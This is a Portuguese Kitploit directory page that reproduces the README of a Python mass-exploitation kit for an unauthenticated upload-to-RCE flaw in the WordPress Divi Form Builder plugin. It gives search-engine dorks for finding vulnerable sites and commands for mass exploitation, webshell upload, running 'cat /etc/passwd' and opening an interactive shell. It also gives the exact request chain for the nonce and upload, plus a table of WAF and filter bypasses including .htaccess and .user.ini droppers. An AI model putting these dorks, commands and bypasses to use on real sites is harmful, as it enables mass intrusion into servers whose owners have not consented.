Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-5524-PoC — Kit de ferramentas de exploração em massa em Python para CVE-2026-5524, um RCE de upload de arquivo não autenticado no plugin WordPress Divi Form Builder, com upload de webshell e execução de comandos. | Kitploit
Ferramentas/GitHubGitHub/iicaicai/cve-2026-5524-poc
ReconhecimentoScanners de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesBypass de WAFSegurança WebTestes de PenetraçãoRed TeamingDesenvolvimento de PayloadsCavalo de Troia de Acesso Remoto
25há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
GitHubiicaicai/cve-2026-5524-poc

CVE-2026-5524-PoC

Kit de ferramentas de exploração em massa em Python para CVE-2026-5524, um RCE de upload de arquivo não autenticado no plugin WordPress Divi Form Builder, com upload de webshell e execução de comandos.

Ver Repositório
Compartilhar

CVE-2026-5524 — RCE Não Autenticado no Divi Form Builder

Kit de exploração em massa para CVE-2026-5524, uma vulnerabilidade de upload arbitrário de arquivos não autenticado no plugin WordPress Divi Form Builder <= 5.1.8, que leva à execução remota de código.

version Devon Aji python telegram

CampoValor
CVE2026-5524
CVSS9.8 (Crítico)
VetorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AfetadoDivi Form Builder <= 5.1.8
Corrigido5.1.9
TipoUpload de Arquivo Não Autenticado para RCE
Pesquisador0xd4rk5id3 - EnvoraSec

Conteúdo

  • Descrição
  • Dorks
  • Instalação
  • Uso
    • Alvo único
    • Exploração em massa
    • Bypass avançado
    • Execução de comandos
  • Detalhes da vulnerabilidade
  • Técnicas de bypass
  • Stack tecnológico
  • Estrutura do projeto
  • Fluxo do ataque
  • Aviso legal

Descrição

O plugin Divi Form Builder para WordPress contém uma vulnerabilidade de upload arbitrário de arquivos não autenticado. O manipulador do_image_upload() passa o parâmetro POST acceptFileTypes, controlado pelo usuário, diretamente para uma expressão regular usada para validar extensões de arquivo. Ao fornecer um valor como phtml, um atacante pode contornar a regra .htaccess do plugin que bloqueia apenas a extensão .php e enviar um webshell com uma extensão executável por PHP (.phtml, .phar, .php5, .php7 e similares).

Uma vez que o arquivo chega em /wp-content/uploads/de_fb_uploads/, o Apache o executa como PHP, concedendo ao atacante execução remota de código como o usuário do servidor web.

O problema é corrigido no Divi Form Builder 5.1.9.


Dorks

FOFA

body="de_fb_obj" && body="fb_nonce"

Shodan

http.html:"de_fb_obj" http.html:"fb_nonce"

Google

inurl:"/wp-content/plugins/divi-form-builder/"

ZoomEye

app:"WordPress" && body:"de_fb_obj"

Censys

services.http.response.body: "de_fb_obj"

Instalação

Requisitos: Python 3.8 ou superior em Linux, macOS ou WSL.

git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt

requirements.txt

requests>=2.28.0
urllib3>=1.26.0

Uso

Alvo único

python3 CVE-2026-5524.py -u https://target.com

Exploração em massa

python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20

Bypass avançado

Para alvos atrás de um WAF (NinjaFirewall, Wordfence, ModSecurity) ou com configuração reforçada de Apache ou nginx.

python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug

Execução de comandos

Após um upload bem-sucedido, o script pode executar imediatamente um comando ou abrir um shell interativo.

python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell

Flags

FlagDescrição
-u URLURL de alvo único
-l FILEArquivo contendo a lista de alvos, uma URL por linha
-t NNúmero de threads concorrentes (padrão 10)
--timeout NTempo limite da requisição em segundos (padrão 15)
-o FILESalvar resultados em arquivo de saída JSONL
--proxy URLRotear tráfego através de proxy HTTP
--nonce HASHUsar um nonce fornecido manualmente, pular a autodetecção
--ext EXTForçar uma única extensão em vez da lista completa de bypass
--shellAbrir shell RCE interativo em caso de sucesso (apenas alvo único)
--cmd CMDExecutar um comando no alvo e sair
--shell-file FILEEnviar um payload de shell personalizado em vez do integrado
--no-verifyPular a etapa de verificação de RCE pós-upload
--strict-verifyConfirmar que a URL do shell retorna HTTP 200 para filtrar falsos positivos
--user-iniEnviar um dropper .user.ini para ambientes PHP-FPM
--htaccessEnviar um reativador .htaccess para ambientes Apache
--aggressiveHabilitar todas as técnicas de bypass disponíveis
--null-byteIncluir tentativas de null byte e extensão dupla
--path-traversalTentar enviar para subdiretórios /uploads/YYYY/MM/
--debugImprimir respostas HTTP brutas para diagnóstico

Detalhes da vulnerabilidade

Código vulnerável

O manipulador vulnerável constrói uma regex a partir da entrada do usuário sem sanitização.

public function do_image_upload() {
    $accepted = $_POST['acceptFileTypes'];
    $pattern  = '/\\.(' . $accepted . ')$/i';

    if (preg_match($pattern, $filename)) {
        move_uploaded_file($tmp, $dest);
    }
}

Ao enviar acceptFileTypes=phtml, a regex resultante /\.(phtml)$/i corresponde a nomes de arquivo terminados em .phtml, mesmo que o próprio arquivo .htaccess do plugin bloqueie apenas a extensão .php. O Apache então executa o arquivo enviado como PHP, produzindo execução remota de código.

Cadeia de ataque confirmada

  1. Rastreie uma página que incorpore um formulário do Divi Form Builder (/, /contact, /quote, etc). Anexe um parâmetro ?nocache=<random> para derrotar Varnish, WP Rocket e outros caches de página que, de outra forma, serviriam um nonce obsoleto.

  2. Extraia o valor fb_nonce do objeto JavaScript localizado:

    de_fb_obj = {"fb_nonce":"<10 hex characters>", ...}
    
  3. Envie um POST multipart para /wp-admin/admin-ajax.php com:

    action=de_fb_image_upload
    fb_nonce=<nonce>
    acceptFileTypes=phtml
    [email protected]
    
  4. Leia a URL do arquivo na resposta JSON:

    {"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
    
  5. Solicite o shell com um comando codificado em base64:

    curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
    

Técnicas de bypass

#TécnicaAlvos
1Extensões PHP alternativas .phtml, .phar, .php5, .php7, .php4, .pht, .shtmlRegra .htaccess do plugin que bloqueia apenas .php
2Variação de maiúsculas/minúsculas .PHTML, .PHP5, .PhTmLAssinaturas de WAF sensíveis a maiúsculas/minúsculas (NinjaFirewall)
3Extensão dupla .phtml.jpg, .php.jpgPeculiaridades de negociação de conteúdo do mod_mime do Apache
4Null byte .php%00.jpg, .phtml%00.txtVersões antigas do PHP (menores que 5.3.4) e certos parsers
5Espaço ou ponto à direita .php , .php.Windows IIS e versões mais antigas do Apache
6Falsificação de Content-Type application/octet-streamWAFs que se baseiam no cabeçalho Content-Type do multipart
7Enviar um .htaccess real que reativa PHP para .gif, .png, .jpg, .txt, .html, etc.Servidores Apache com AllowOverride All
8Enviar um .user.ini com auto_prepend_fileAmbientes PHP-FPM
9Injeção de nome de arquivo através de manipulação de boundary multipartProxies e WAFs que reanalisam o corpo da requisição
10Path traversal ../shell.phtml no nome do arquivoRestrições de diretório do plugin
Baixar ferramenta